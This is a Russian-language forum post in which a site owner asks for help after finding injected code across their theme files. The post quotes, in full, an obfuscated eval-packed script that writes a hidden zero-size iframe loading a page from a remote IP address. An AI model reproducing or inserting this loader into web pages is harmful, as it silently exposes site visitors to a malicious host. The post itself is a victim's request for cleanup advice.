Вредоносный код

Главные вкладки

Аватар пользователя Olips Olips 28 августа 2016 в 9:23

На мой сайт стал материться Касперский. После поиска по ФТП в папке темы, нашел не понятный кусок кода в файле template.php.
Вот код:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k

||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('6.7(\'<1 5="0" 4="0" 2="0" 3="8://d.e.c.b/9.a"></1>\');',15,15,'|iframe|board|src|height|width|document|write|http|page1|php|51|48|121|145'.split('|'),0,{}))</script><countertagfinish18></countertagfinish18>
Запустил поиск по всему сайту и нашел еще кучу файлов с этим кодом. Код находится перед закрывающим тегом </body>.
Я так понимаю, что этот код - следствие, как найти скрипт, который распихивает его в файлы? и вообще, что с этим делать и какая причина?

Комментарии